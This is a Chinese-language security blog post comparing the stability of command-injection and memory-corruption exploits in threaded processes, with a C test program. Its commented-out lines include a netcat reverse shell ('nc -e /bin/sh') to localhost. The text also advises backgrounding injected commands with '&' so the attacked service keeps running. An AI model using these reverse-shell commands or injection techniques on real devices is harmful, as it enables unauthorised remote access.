不要瞧不起命令注入,因为你不得不承认,命令注入型漏洞就是要比内存破坏型漏洞要稳。在实际的攻击中,我们发现的漏洞代码的运行实体可能是单蹦儿的一个进程,也可能是某个进程的一个线程。如果攻击发生在某个线程中,对其他线程,以及线程所属的进程会不有影响呢?在这种情况下,内存破坏漏洞的表现怎么样呢?
使用如下测试代码,每次可以打开其中一个注释:
➜ gcc test.c -lpthread -o test && ./test
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
void *thread1(void *arg){
// system("/bin/sh");
// system("/bin/sh &");
// system("nc -e /bin/sh 127.0.0.1 8888");
// system("nc -e /bin/sh 127.0.0.1 8888 &")
while(1){
printf("thread1 is running\n");
sleep(1);
}
}
void *thread2(void *arg){
// execve("/bin/sh",NULL,NULL);
while(1){
printf("thread2 is running\n");
sleep(1);
}
}
int main(){
getchar();
pthread_t thid1,thid2;
pthread_create(&thid1,NULL,(void*)thread1,NULL);
pthread_create(&thid2,NULL,(void*)thread2,NULL);
// int a = *(int *)0;
while(1){
printf("main thread is running\n");
sleep(1);
}
return 0;
}
- 内存破坏无论发生在哪个线程中,若触发SIGSEGV,整个进程就会崩溃,并且一般程序不会注册SIGSEGV的信号处理函数
- system函数命令注入,可能会使得被攻击的线程卡住,其他线程正常运行,因为system函数会等待其执行命令的返回。
在实际攻击中,我们发现用命令注入的漏洞攻击某设备的某个进程,无论我的exp是否有失误,设备不用重启,漏洞进程不会被打崩溃,也不会卡死。(这事在Web手看起来不是理所当然的么!)
至于原因当然和Web手攻击的情景是一样的,就像apache,会为连进来的请求建立新的进程。或者像CTF中Pwn题的部署方式,即socat和xinetd。分析发现,我们的每次攻击都是在目标进程新启动的线程中触发的,所以大不了就是这个线程卡死,再次攻击又是一个新的线程。并且开发在写线程的时候,为的就是卡死没事,这种情景在网络数据处理的时候会很常见。所以为了避免system函数卡死,拼接进去的命令注入可以让其在后台运行(&),这样system函数即可马上返回,也不影响被攻击的线程。
但是如果漏洞类型是内存破坏漏洞,即使他出现在某个线程里,只要你稍不留神,触发了SIGSEGV,整个进程就完蛋了。如果该进程没有守护进程让他再次等待被你攻击,那也就只有重启设备了。